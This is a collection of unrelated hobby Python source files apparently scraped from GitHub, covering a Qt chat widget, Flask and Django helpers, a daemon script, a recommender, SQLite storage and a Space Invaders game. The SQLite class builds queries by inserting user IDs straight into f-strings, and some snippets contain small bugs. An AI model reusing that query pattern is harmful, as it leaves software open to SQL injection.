parse_rich_text(self, rich_text):\n font = QFont()\n if rich_text.startswith(''):\n font.setUnderline(True)\n rich_text = rich_text[3:-3]\n if rich_text.startswith(''):\n font.setItalic(True)\n rich_text = rich_text[3:-3]\n if rich_text.startswith(''):\n font.setBold(True)\n rich_text = rich_text[3:-3]\n return rich_text, font\n\n def add_data_from_buffer(self):\n \"\"\"\n Adds new data from the internal buffer. This function is being called\n only after receiving server answer that out message has been successfully\n received by user.\n @return: -\n \"\"\"\n # Clears message input text\n self._msg_te.clear()\n\n # Takes the first message from the queue\n (time, message) = self._message_queue.get()\n self.add_data(time, message)\n\n def add_data(self, time, message):\n \"\"\"\n Adds new data from the external buffer.\n @param time: time and sender.\n @param message: new data (message).\n @return: -\n \"\"\"\n (plain_text, font) = self.parse_rich_text(message)\n\n # QLabel for the time/sender\n time_st = QLabel(time)\n time_st.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)\n time_st.adjustSize()\n\n # QLabel for the message\n message_st = QLabel(plain_text)\n message_st.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)\n message_st.setFont(font)\n message_st.adjustSize()\n\n # Layout: time + message\n container = QFormLayout()\n container.setContentsMargins(0, 0, 0, 0)\n container.addRow(time_st, message_st)\n\n complete_line = QWidget()\n complete_line.setLayout(container)\n\n item = QListWidgetItem()\n item.setSizeHint(QSize(item.sizeHint().width(), 20))\n\n self._chat_lb.addItem(item)\n self._chat_lb.setItemWidget(item, complete_line)\n","repo_name":"Dreqnite/NCryptoClient","sub_path":"NCryptoClient/ui/ui_chat_tab.py","file_name":"ui_chat_tab.py","file_ext":"py","file_size_in_byte":10965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73730637253","text":"import re\nimport numpy as np\n\n\ndef doppel_string(listA, listB):\n assert(len(listA) == len(listB))\n # Update each list item so that it's justified \n # outList = [a.ljust(max(len(a), len(b))) + '\\n' + b.ljust(max(len(a), len(b))) for a, b in zip(listA, listB)]\n outA = []\n outB = []\n for a, b in zip(listA, listB):\n m = max(len(a), len(b))\n outA.append(a.ljust(m))\n outB.append(b.ljust(m))\n # outList.append(a.ljust(m) + '\\n' + b.ljust(m))\n outString = ' '.join(outA) + '\\n' + ' '.join(outB)\n return outString\n\ndef set_intersection(listA, listB):\n return not set(listA).isdisjoint(listB)\n\ndef flatten_list(xlist):\n flat_list = [item for sublist in xlist for item in sublist]\n return flat_list\n\n\ndef get_endgrams(inpList, n):\n return [inpList[:n], inpList[-n:]]\n\ndef get_ngrams(inpList, n):\n return [inpList[i:i+n] for i in range(len(inpList)-n+1)]\n\n\ndef neighborhood(iterable):\n iterator = iter(iterable)\n prev_item = None\n current_item = next(iterator) # throws StopIteration if empty.\n for next_item in iterator:\n yield (prev_item, current_item, next_item)\n prev_item = current_item\n current_item = next_item\n yield (prev_item, current_item, None)\n\ndef union_sets(sets):\n combo = set()\n for s in sets:\n combo = combo.union(s)\n return combo\n\ndef make_listMap(grafs, pad = 0):\n grafMap = np.cumsum([pad + len(graf) for graf in grafs])\n grafMap = np.insert(grafMap, 0, 0)\n return grafMap\n\ndef thing_to_map(sent_index, grafMap):\n mod = sent_index + 1\n idx = 0\n while idx < len(grafMap):\n if grafMap[idx] >= mod:\n break\n idx = idx + 1\n i1 = idx - 1\n i2 = max(0,mod - grafMap[idx-1] - 1)\n return [i1, i2]","repo_name":"eliotl/rg_poetry","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35304109888","text":"import os\nimport sys\n\n\"\"\"necessary to disown all child procs and parent procs\"\"\"\nUMASK = 0\nWORKDIR = \"/home/sanket\"\nMAXFD = 1024\n\n'''if(hasattr(os,\"devnull\")):\n\tREDIRECT_TO = os.devnull\nelse:\n\tREDIRECT_TO = \"/dev/null\"\n'''\ndef createDaemon():\n\n\ttry:\n\t\tpid = os.fork() #create the process\n\texcept OSError:\n\t\traise \"%s [%d]\" % (OSError.strerror,OSError.errno)\n\n\tif(pid == 0):\n\t\tos.setsid() #(set session id) i.e create new session\n\n\t\t#second child process\n\t\ttry:\n\t\t\tpid = os.fork()\n\t\texcept OSError:\n\t\t\t\traise \"%s [%d] \" % (OSError.strerror, OSError.errorno)\n\t\tif(pid == 0):\n\t\t\tos.chdir(WORKDIR)\n\t\t\tos.umask(UMASK)\n\t\telse:\n\t\t\tos._exit(0)\n\n\telse:\n\t\tos._exit(0)\n\n\ttry:\n\t\tmaxfd = os.sysconf(\"SC_OPEN_MAX\")\n\texcept( AttributeError,ValueError):\n\t\tmaxfd = MAXFD\n\n\treturn(0)\n'''\n\tfor fd in range(0,maxfd):\n\t\ttry:\n\t\t\tos.close(fd)\n\t\texcept OSError:\n\t\t\tpass\n\n\tos.open(REDIRECT_TO,os.O_RDWR) #will return 0, therefore the 0 file desc will point to /dev/null or redirect_to\n\n\tos.dup2(0,1)\n\tos.dup2(0,2)\n\n\treturn(0)\n'''\n\n\nif __name__ == \"__main__\":\n\tretCode = createDaemon()\n\tos.system(\"echo 'Here'\")\n\tprocParams = \"\"\"\n\t return code = %s\n\t process ID = %s\n\t parent process ID = %s\n\t process group ID = %s\n\t session ID = %s\n\t user ID = %s\n\t effective user ID = %s\n\t real group ID = %s\n\t effective group ID = %s\n\t \"\"\" % (retCode, os.getpid(), os.getppid(), os.getpgrp(), os.getsid(0),\n\t os.getuid(), os.geteuid(), os.getgid(), os.getegid())\n\n\topen(\"createDaemon.log\", \"w\").write(procParams + \"\\n\")\n\n\tsys.exit(retCode)\n","repo_name":"mehrotrasan16/zeitgeist-plus-plus","sub_path":"daemon-2.py","file_name":"daemon-2.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12035200836","text":"import os\nimport uuid\nimport calendar\nimport operator\nfrom datetime import datetime, timedelta, date\n\ntry:\n from urlparse import urlparse, urljoin\nexcept ImportError:\n from urllib.parse import urlparse, urljoin\n\nfrom flask import current_app, request, url_for, redirect, flash\nfrom flask_login import current_user\n\nfrom syllabin.components import db\nfrom syllabin.models import User, Group, Subject, Room, Professor, Timetable\n\n\ndef getFirstWeekDay(dt):\n return dt - timedelta(days=dt.weekday())\n\n\ndef getFirstMonthDay(dt, d_months=0, d_years=0):\n y, m = dt.year + d_years, dt.month + d_months\n a, m = divmod(m-1, 12)\n return datetime(y+a, m+1, 1)\n\n\ndef isWeekday(dt):\n int_day_of_week = dt.weekday()\n day_of_week = calendar.day_name[int_day_of_week]\n if day_of_week not in ['Saturday','Sunday']:\n return True\n else:\n return False\n\n\ndef getCurrentDay(dt):\n int_day_of_week = dt.weekday()\n return calendar.day_name[int_day_of_week]\n\n\ndef getMondayForWeek(week):\n dt = date.today()\n if dt.month > 7:\n start = 9\n else:\n start = 2\n first = date(dt.year, start, 1)\n base = 1 if first.isocalendar()[1] == 1 else 8\n return first + timedelta(days=base - first.isocalendar()[2] + 7 * (week - 1))\n\n\ndef daterange(start_date, end_date):\n for n in range(int ((end_date - start_date).days)):\n yield start_date + timedelta(n)\n\n\ndef getFirstWorkingDayOfMonth(dt):\n first_day_of_month = getFirstMonthDay(dt)\n seventh_day_of_month = first_day_of_month + timedelta(days=6)\n for d in daterange(first_day_of_month, seventh_day_of_month):\n if isWeekday(d):\n return d.date()\n else:\n continue\n\n\ndef getCurrentWeek(dt):\n if dt.month > 7:\n start = 9\n else:\n start = 2\n first_working_day_of_month = getFirstWorkingDayOfMonth(datetime(dt.year, start, 1))\n return dt.isocalendar()[1] - first_working_day_of_month.isocalendar()[1] + 1\n\n\ndef getDayEntries(dt):\n current_week = getCurrentWeek(dt)\n current_day = getCurrentDay(dt)\n if current_user.is_admin:\n user_group = None\n else:\n user_group = current_user.group\n return getEntriesHelper(current_day, current_week, user_group)\n\n\ndef getWeekEntries(week_num):\n week_entries = []\n if current_user.is_admin:\n user_group = None\n else:\n user_group = current_user.group\n for current_day in [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\"]:\n week_entries.append(getEntriesHelper(current_day, week_num, user_group))\n return week_entries\n\n\ndef getEntriesHelper(current_day, current_week, user_group):\n if user_group is None:\n today_table_entries = Timetable.query.filter_by(weekday=current_day).all()\n else:\n today_table_entries = Timetable.query.filter_by(weekday=current_day, group_id=user_group.id).all()\n current_entries = []\n for today_table_entry in today_table_entries:\n if today_table_entry.week_nums.count(str(current_week)):\n for lesson in today_table_entry.lesson_nums:\n current_entries.append([today_table_entry, int(lesson)])\n return sorted(current_entries, key=lambda x: x[1])\n\n\n\ndef is_safe_url(target):\n ref_url = urlparse(request.host_url)\n test_url = urlparse(urljoin(request.host_url, target))\n return test_url.scheme in ('http', 'https') and \\\n ref_url.netloc == test_url.netloc\n\n\ndef redirect_back(default='main.index', **kwargs):\n for target in request.args.get('next'), request.referrer:\n if not target:\n continue\n if is_safe_url(target):\n return redirect(target)\n return redirect(url_for(default, **kwargs))\n","repo_name":"IlyaMZP/syllabin","sub_path":"syllabin/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32654282254","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n# Main program starts here\n# read the data\nuser_shows_pd = pd.read_csv('user-shows.txt', sep=' ', header=None)\n\nuser_show_matrix = (np.asarray(user_shows_pd, dtype=int))\nnum_users, num_shows = user_show_matrix.shape\n\nshows_pd = np.asarray(pd.read_csv('shows.txt', sep=' ', header=None))\n\n\nwith open('trng.txt', 'w') as f:\n for user in range(num_users):\n for item in range(num_shows):\n if user_show_matrix[user, item] == 1:\n f.write(str(user+1))\n f.write(',')\n f.write(str(item+1))\n f.write('\\n')\nshow_ids = []\n\n\ndef user_user_item_item_matrix(matrix1, users_item_rating_mat, is_user_sim):\n cosine_similarity_mat = cosine_similarity(matrix1, matrix1)\n if is_user_sim:\n print (\"User-User Filtering\")\n tau_mat_u2u = np.dot(cosine_similarity_mat, users_item_rating_mat)\n else:\n print (\"Item-Item Filtering\")\n tau_mat_u2u = np.dot(users_item_rating_mat, cosine_similarity_mat)\n sorted_index = np.argsort(tau_mat_u2u[19, :])\n reversed_sorted_index = sorted_index[::-1]\n top_100_shows_list = []\n for i in range(10):\n index = reversed_sorted_index[i]\n rating = tau_mat_u2u[19, index]\n show_name = shows_pd[index]\n top_100_shows_list.append(show_name[0])\n print (\"Show Id = \" + str(index+1) + \" \" + show_name[0] + \" rating :\" + str(rating))\n\n return top_100_shows_list\n\n\ntop_shows_u2u = user_user_item_item_matrix(user_show_matrix, user_show_matrix, True)\ntop_shows_item2item = user_user_item_item_matrix(user_show_matrix.transpose(), user_show_matrix, False)\nshow_ids_list = [145, 97, 36,75,156,174,206,64,141,146, 97, 75, 141, 46, 61, 157, 69, 36, 138, 327,\n 235, 49, 38, 544, 491, 478, 281, 554, 490, 223, 49, 78, 193, 209, 281, 196, 208, 223, 220, 490]\nshow_ids_sorted = show_ids_list.sort()\nprint (\"==Sorted Ids==\")\nfor item in show_ids_list:\n show_id = item -1\n print (str(item) + \",\" + shows_pd[show_id][0])","repo_name":"KumarDeepankar/Data-Mining","sub_path":"Recommendation System/python script/Exercise5.py","file_name":"Exercise5.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42854789243","text":"import xml.etree.ElementTree as ET \nimport csv\nfrom os import path \n\ndef extractTree(folder):\n with open(folder, 'r') as file:\n data = file.read()\n return ET.fromstring(data)\n \ndef extractData(folder,col):\n tree = extractTree(folder)\n npath, nfile = path.split(folder)\n lstFile = nfile.split('.')\n\n totalReviews, totalSentences = 0, 0\n dictAspects, dictPolarities = {}, {}\n for review in tree.findall('Review'):\n textReview = \"\"\n totalReviews = totalReviews + 1 \n rid = review.get('rid')\n lstSentence, lstAspect, lstPolarity = [], [], []\n for sentence in review.find('sentences').findall('sentence'): \n totalSentences = totalSentences + 1\n lstSentence.append(sentence.find('text').text)\n textReview +=\" \"+ sentence.find('text').text\n for opinion in review.find('Opinions').findall('Opinion'):\n aspect = (opinion.get('category').split('#')[0], opinion.get('category').split('#')[1]) \n lstAspect.append(aspect)\n if aspect in dictAspects:\n dictAspects[aspect] = dictAspects[aspect] + 1 \n else:\n dictAspects[aspect] = 0\n \n polarity = opinion.get('polarity')\n if polarity in dictPolarities:\n dictPolarities[polarity] = dictPolarities[polarity] + 1 \n else:\n dictPolarities[polarity] = 0\n lstPolarity.append(polarity)\n textReview = textReview[1:]\n col.insert_one({\n 'ID':rid,\n 'Review':textReview,\n 'Sentences':lstSentence,\n 'Aspects':lstAspect,\n 'Polarities':lstPolarity\n })\n \n \n with open(npath + '/Resume_' + lstFile[0] + '.txt', 'w') as file:\n file.write('*'*10 + 'Resumen de datos leídos' +'*'*10 + '\\n')\n file.write('\\t Total de reseñas leídas:\\t' + str(totalReviews) + '\\n')\n file.write('\\t Total de parrafos leídas:\\t' + str(totalSentences) + '\\n')\n file.write('\\t Total de aspectos hallados:' + '\\n')\n for (key, value) in dictAspects.items():\n file.write('\\t\\t' + str(key) + ':\\t' + str(value) + '\\n')\n file.write('\\t Total de polaridades halladas:' + '\\n') \n for (key, value) in dictPolarities.items():\n file.write('\\t\\t' + str(key) + ':\\t' + str(value) + '\\n')\n ","repo_name":"JergeRG/SDEBARR","sub_path":"Source/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43354817028","text":"import string\nfrom django.shortcuts import render\nfrom django.views.generic import ListView, TemplateView\nfrom django.http import HttpResponse, Http404\nfrom django_tables2 import SingleTableView\nfrom .models import Book, Publisher, User\nfrom .tables import BookTable\nfrom wkhtmltopdf.views import PDFTemplateView\nimport csv\n\nclass BookListView(ListView):\n template_name = 'book/book_list.html'\n model = Book\n\n\ndef csv_export(request):\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"books.csv\"'\n writer = csv.writer(response)\n for book in Book.objects.all():\n strAuthors = \" \".join([author.username for author in book.coauthors.all()])\n writer.writerow([book.id, book.name, book.publisher.name, strAuthors, book.published_date])\n return response\n\nclass DetailView(SingleTableView):\n table_class = BookTable\n template_name = 'book/detail.html'\n\n def get_queryset(self):\n return Book.objects.all()\n\nclass PdfSampleView(SingleTableView, PDFTemplateView):\n table_class = BookTable\n filename = 'detail.pdf'\n template_name = 'book/detail.html'\n\n def get_queryset(self):\n return Book.objects.all()\n\n def get(self, request, *args, **kwargs):\n response_class = self.response_class\n self.object_list = self.get_queryset()\n allow_empty = self.get_allow_empty()\n try:\n if request.GET.get('as', '') == 'html':\n self.response_class = self.html_response_class\n finally:\n self.response_class = response_class\n\n if self.get_paginate_by(self.object_list) is not None and hasattr(\n self.object_list, \"exists\"\n ):\n is_empty = not self.object_list.exists()\n else:\n is_empty = not self.object_list\n if is_empty:\n raise Http404(\n _(\"Empty list and “%(class_name)s.allow_empty” is False.\")\n % {\n \"class_name\": self.__class__.__name__,\n }\n )\n context = self.get_context_data()\n return self.render_to_response(context)\n","repo_name":"Kaito-a-bit/outputcsv","sub_path":"book/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40253478460","text":"import sqlite3\n\n\nclass userBD1:\n\n def __init__(self, path) -> None:\n self.connection = sqlite3.connect(path)\n self.cursor = self.connection.cursor()\n # cursor.execute(\"ВАШ-SQL-ЗАПРОС-ЗДЕСЬ;\")\n\n def create_table(self):\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS users( \n user_id TEXT PRIMARY KEY,\n roads_id TEXT,\n road_progress INT);\n \"\"\")\n self.connection.commit()\n\n def add_user_in_data(self, user_id):\n \"\"\"добавляет по id пользователя его в базу данных создает прогресс 0 и строку с пройдеными дорогами\"\"\"\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (user_id, '', 0))\n self.connection.commit()\n\n def add_road_in_data_on_user(self, user_id, road_id):\n res = self.cursor.execute(f'SELECT * FROM users WHERE user_id=\"{str(user_id)}\"').fetchone()\n self.cursor.execute(f'DELETE FROM users WHERE user_id=\"{str(user_id)}\"')\n a = str(res[1] + ' ' + str(road_id)).strip()\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (str(user_id), a, (str(res[2]) + ' ' + '0').strip()))\n self.connection.commit()\n\n def get_user_info(self, user_id_find):\n \"\"\"возвращает по id данные пользователя, если такого нет None\"\"\"\n res = self.cursor.execute(f\"SELECT * FROM users WHERE user_id='{user_id_find}';\").fetchone()\n if res is None:\n return None\n self.connection.commit()\n a = {}\n for i in range(len(res[1].split())):\n a[res[1].split()[i]] = res[2].split()[i]\n return a\n\n def change_user_progress(self, user_id, road_id):\n res = self.cursor.execute(f'SELECT * FROM users WHERE user_id=\"{str(user_id)}\"').fetchone()\n self.cursor.execute(f'DELETE FROM users WHERE user_id=\"{str(user_id)}\"')\n for i in range(len(res[1].split())):\n if res[1].split()[i] == str(road_id):\n a = res[2].split()[i]\n list1 = res[2].split()\n list1[i] = str(int(a) + 1)\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (str(user_id), res[1], ' '.join(list1)))\n self.connection.commit()\n\n def reset_road_on_user(self, user_id, road_id):\n res = self.cursor.execute(f'SELECT * FROM users WHERE user_id=\"{str(user_id)}\"').fetchone()\n self.cursor.execute(f'DELETE FROM users WHERE user_id=\"{str(user_id)}\"')\n for i in range(len(res[1].split())):\n if res[1].split()[i] == str(road_id):\n list1 = res[2].split()\n list1[i] = '0'\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (str(user_id), res[1], ' '.join(list1)))\n self.connection.commit()\n\n def closeCon(self):\n self.connection.close()\n\n\nclass quizBD1:\n\n def __init__(self, path) -> None:\n self.connection = sqlite3.connect(path)\n self.cursor = self.connection.cursor()\n # cursor.execute(\"ВАШ-SQL-ЗАПРОС-ЗДЕСЬ;\")\n\n def closeCon(self):\n self.connection.close()\n","repo_name":"Keysiks/python_files","sub_path":"хакатон алиса/BD.py","file_name":"BD.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"14588287901","text":"#!/usr/bin/python3\n\n\"\"\"Module for pascal_triangle function\"\"\"\n\n\ndef pascal_triangle(n):\n \"\"\"\n return list of lists of integers representing\n the triangle of pascal\n\n Args:\n n (int): the number\n \"\"\"\n if n <= 0:\n return []\n triangle = [[1]]\n for j in range(1, n):\n row = [1]\n for i in range(1, j):\n row.append(triangle[j - 1][i - 1] + triangle[j - 1][i])\n row.append(1)\n triangle.append(row)\n return triangle\n","repo_name":"HafsaMAR/alx-higher_level_programming","sub_path":"0x0B-python-input_output/12-pascal_triangle.py","file_name":"12-pascal_triangle.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"16860052167","text":"#! /usr/bin/python3\n#! mapIt.y - Launches a map in browser using an address form the command \n# line or clipboard.\n\nimport webbrowser, sys\nsite = ['https://facebook.com','https://twitter.com','https://linkedin.com']\ni = len(site) -1 \nwhile i >= 0:\n\twebbrowser.open(site[i])\n\ti -= 1\n\n","repo_name":"latika18/learning","sub_path":"automate_the_boring_stuff/open_browser.py","file_name":"open_browser.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3884734866","text":"\"\"\"\nPrimary module for Alien Invaders\n\nThis module contains the main controller class for the Alien Invaders app. \nThere is no need for any additional classes in this module. If you need \nmore classes, 99% of the time they belong in either the wave module or the \nmodels module. If you are unsure about where a new class should go, post a \nquestion on Piazza.\n\n# Samuel Rodriguez (sar325) and Renan Laurore (rl497)\n# 12/10/19\n\"\"\"\nfrom consts import *\nfrom game2d import *\nfrom wave import *\n\n# PRIMARY RULE: Invaders can only access attributes in wave.py via getters/setters\n# Invaders is NOT allowed to access anything in models.py\n\nclass Invaders(GameApp):\n \"\"\"\n The primary controller class for the Alien Invaders application\n \n This class extends GameApp and implements the various methods necessary \n for processing the player inputs and starting/running a game.\n \n Method start begins the application.\n \n Method update either changes the state or updates the Play object\n \n Method draw displays the Play object and any other elements on screen\n \n Because of some of the weird ways that Kivy works, you SHOULD NOT create \n an initializer __init__ for this class. Any initialization should be done \n in the start method instead. This is only for this class. All other \n classes behave normally.\n \n Most of the work handling the game is actually provided in the class Wave.\n Wave should be modeled after subcontrollers.py from lecture, and will \n have its own update and draw method.\n \n The primary purpose of this class is to manage the game state: which is \n when the game started, paused, completed, etc. It keeps track of that in \n an internal (hidden) attribute.\n \n For a complete description of how the states work, see the specification \n for the method update.\n \n Attribute view: the game view, used in drawing \n Invariant: view is an instance of GView (inherited from GameApp)\n \n Attribute input: user input, used to control the ship or resume the game\n Invariant: input is an instance of GInput (inherited from GameApp)\n \"\"\"\n # HIDDEN ATTRIBUTES:\n # Attribute _state: the current state of the game represented as an int\n # Invariant: _state is one of STATE_INACTIVE, STATE_NEWWAVE, STATE_ACTIVE, \n # STATE_PAUSED, STATE_CONTINUE, or STATE_COMPLETE\n #\n # Attribute _wave: the subcontroller for a single wave, managing aliens\n # Invariant: _wave is a Wave object, or None if there is no wave currently \n # active. It is only None if _state is STATE_INACTIVE.\n #\n # Attribute _text: the currently active message\n # Invariant: _text is a list of GLabel objects, or None if there is\n # no message to display. It is only None if _state is STATE_ACTIVE.\n #\n # You may have new attributes if you wish (you might want an attribute to\n # store any score across multiple waves). But you must document them.\n # LIST MORE ATTRIBUTES (AND THEIR INVARIANTS) HERE IF NECESSARY\n\n # Attribute _list: holds list of the bool \"True\" after code runs through\n # conditional statements\n # Invariant: _list is a list of the bool \"True\"\n #\n # Attribute _pewSound: initializes sound for a bolt fired from a player\n # Invariant: _pewSound is a Sound object\n #\n # Attribute _pewSound2: initializes sound for a bolt fired from an alien\n # Invariant: _pewSound2 is a Sound object\n #\n # Attribute _blastSound: initializes sound for a bolt collided with a ship\n # Invariant: _blastSound is a Sound object\n #\n # Attribute _popSound: initializes sound for a bolt collided with an alien\n # Invariant: _popSound is a Sound object\n # DO NOT MAKE A NEW INITIALIZER!\n #\n # Attribute _KEYS_PRESSED: amount of times a certain key is pressed\n # Invariant: _KEYS_PRESSED is an int greater or equal to 0\n\n # DO NOT MAKE A NEW INITIALIZER!\n \n # THREE MAIN GAMEAPP METHODS\n def start(self):\n \"\"\"\n Initializes the application.\n \n This method is distinct from the built-in initializer __init__ (which \n you should not override or change). This method is called once the \n game is running. You should use it to initialize any game specific \n attributes.\n \n This method should make sure that all of the attributes satisfy the \n given invariants. When done, it sets the _state to STATE_INACTIVE and \n create a message (in attribute _text) saying that the user should press\n to play a game.\n \"\"\"\n self._state = STATE_INACTIVE\n self._wave = None\n self._pewSound = Sound('pew1.wav')\n self._pewSound2 = Sound('pew2.wav')\n self._blastSound = Sound('blast1.wav')\n self._popSound = Sound('pop2.wav')\n self._list = []\n self._text = []\n self._background = GRectangle(x=GAME_WIDTH/2,y=GAME_HEIGHT/2,\n fillcolor=\"black\",\n width=GAME_WIDTH,height=GAME_HEIGHT)\n self.makeLabel(\"SPACE INVADERS\", 60, top=GAME_HEIGHT - 50,\n left=GAME_WIDTH /12)\n self.makeLabel(\"Welcome to \\n\\n\\n\\n\\n\\n\\n\"\n \"Press 'S' to Play \\n Controls: \\n\"\n + \"Right Arrow Key - Move right \\n\" +\n \" Left Arrow Key - Move left \\n\" +\n \" Spacebar - Shoot \\n\" +\n \" P - Sound off \\n\" + \"O - Sound on \\n\" +\n \" Q - Pause Game\", 24, GAME_WIDTH / 5,\n GAME_HEIGHT - 25)\n\n def update(self,dt):\n \"\"\"\n Animates a single frame in the game.\n \n It is the method that does most of the work. It is NOT in charge of \n playing the game. That is the purpose of the class Wave. The primary \n purpose of this game is to determine the current state, and -- if the \n game is active -- pass the input to the Wave object _wave to play the \n game.\n \n As part of the assignment, you are allowed to add your own states. \n However, at a minimum you must support the following states: \n STATE_INACTIVE, STATE_NEWWAVE, STATE_ACTIVE, STATE_PAUSED, \n STATE_CONTINUE, and STATE_COMPLETE. Each one of these does its own \n thing and might even needs its own helper. We describe these below.\n \n STATE_INACTIVE: This is the state when the application first opens. \n It is a paused state, waiting for the player to start the game. It \n displays a simple message on the screen. The application remains in \n this state so long as the player never presses a key. In addition, \n this is the state the application returns to when the game is over \n (all lives are lost or all aliens are dead).\n \n STATE_NEWWAVE: This is the state creates a new wave and shows it on \n the screen. The application switches to this state if the state was \n STATE_INACTIVE in the previous frame, and the player pressed a key. \n This state only lasts one animation frame before switching to \n STATE_ACTIVE.\n \n STATE_ACTIVE: This is a session of normal gameplay. The player can \n move the ship and fire laser bolts. All of this should be handled \n inside of class Wave (NOT in this class). Hence the Wave class \n should have an update() method, just like the subcontroller example \n in lecture.\n \n STATE_PAUSED: Like STATE_INACTIVE, this is a paused state. However, \n the game is still visible on the screen.\n \n STATE_CONTINUE: This state restores the ship after it was destroyed. \n The application switches to this state if the state was STATE_PAUSED \n in the previous frame, and the player pressed a key. This state only \n lasts one animation frame before switching to STATE_ACTIVE.\n \n STATE_COMPLETE: The wave is over, and is either won or lost.\n \n You are allowed to add more states if you wish. Should you do so,\n you should describe them here.\n \n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n assert isinstance(dt, int) or isinstance(dt, float), \"dt is of type \"+\\\n str(type(dt)) + \" not int or float\"\n if self._state == STATE_INACTIVE:\n self.inactive()\n if self._state == STATE_NEWWAVE:\n self.newWave()\n if self._state == STATE_ACTIVE:\n self.active(dt)\n if self._state == STATE_PAUSED:\n self.paused()\n if self._state == STATE_COMPLETE:\n self.complete()\n\n def draw(self):\n \"\"\"\n Draws the game objects to the view.\n \n Every single thing you want to draw in this game is a GObject. To \n draw a GObject g, simply use the method g.draw(self.view). It is \n that easy!\n \n Many of the GObjects (such as the ships, aliens, and bolts) are \n attributes in Wave. In order to draw them, you either need to add \n getters for these attributes or you need to add a draw method to \n class Wave. We suggest the latter. See the example subcontroller.py \n from class.\n \"\"\"\n if self._background != None:\n self._background.draw(self.view)\n if self._text != None:\n for text in self._text:\n text.draw(self.view)\n if self._wave != None:\n if self._wave.getGameState() != 3:\n self._wave.draw(self.view)\n\n # HELPER METHODS FOR THE STATES GO HERE\n def makeLabel(self, text, size=48, left=GAME_WIDTH / 6,\n top= GAME_HEIGHT / 2, halign= \"center\",valign=\"middle\"):\n \"\"\"\n Returns: Nothing\n\n This method alters the attribute self._text by adding what the text\n list attribute in GLabel contains.\n It keeps these attributes of GLabel constant:\n - font_size = 48 (by default)\n - halign = \"center\" (by default)\n - valign = \"middle\" (by default)\n - font_name = \"RetroGame.ttf\"\n - left = GAME_WIDTH / 3 (by default)\n - top = GAME_HEIGHT / 2 (by default)\n\n Parameter text: the text to edit\n Precondition: text is a string\n\n Parameter size: text size of the text\n Precondition: size is an int\n\n Parameter left: the left edge of the text\n Precondition: left is a number greater than or equal to 0 but less\n than the GAME_WIDTH\n\n Parameter top: the location of the top edge of the text\n Precondition: top is a number greater than or equal to 0 but less\n than the GAME_HEIGHT\n\n Parameter halign: the horizontal alignment of the text\n Precondition: must be ‘left’, ‘right’, or ‘center’\n\n Parameter valign: the vertical alignment of the text\n Precondition: must be ‘top’, ‘bottom’, or ‘middle’\n \"\"\"\n assert isinstance(text, str), \"text is not a string\"\n assert isinstance(size, int), \"size needs to be an int\"\n assert (isinstance(left, int) or isinstance(left, float),\n \"left needs to be number\")\n assert 0 <= left <= GAME_WIDTH, \"left needs to be in range\"\n assert (isinstance(top, int) or isinstance(top, float),\n \"top needs to be number\")\n assert 0 <= top <= GAME_HEIGHT, \"top is not in range\"\n assert (halign == \"left\" or halign == \"right\" or halign == \"center\",\n \"invalid horizontal alignment input\")\n assert (valign == \"top\" or valign == \"bottom\" or valign == \"middle\",\n \"invalid vertical alignment input\")\n self._text.append(GLabel(text=text,\n font_size=size,\n linecolor=\"green\",\n halign=halign, valign=valign,\n font_name=\"RetroGame.ttf\",\n left=left, top=top))\n\n def soundControl(self):\n \"\"\"\n This methods regulates if the sounds are turned on or off\n \"\"\"\n if(self.input.is_key_down('p')) and self._KEYS_PRESSED == 0:\n self._list.append(True)\n self._KEYS_PRESSED = 1\n self._wave.setSound(False)\n elif (self.input.is_key_down('o')) and self._KEYS_PRESSED == 1:\n self._list.clear()\n self._KEYS_PRESSED = 0\n self._wave.setSound(True)\n\n def inactive(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_INACTIVE. When the 's' key\n is pressed, the text is erased and self._state = STATE_NEWWAVE\n \"\"\"\n self._KEYS_PRESSED = self.input.key_count\n if (self.input.is_key_down('s') and self._KEYS_PRESSED > 0):\n self._state = STATE_NEWWAVE\n self._text.clear()\n self._KEYS_PRESSED = 0\n\n def newWave(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_NEWWAVE. After making a grid\n of aliens, self._state = STATE_ACTIVE\n \"\"\"\n self._wave = Wave(ALIEN_ROWS, ALIENS_IN_ROW,\n GAME_WIDTH / 2, DEFENSE_LINE, SHIP_LIVES)\n self._state = STATE_ACTIVE\n\n def active(self, dt):\n 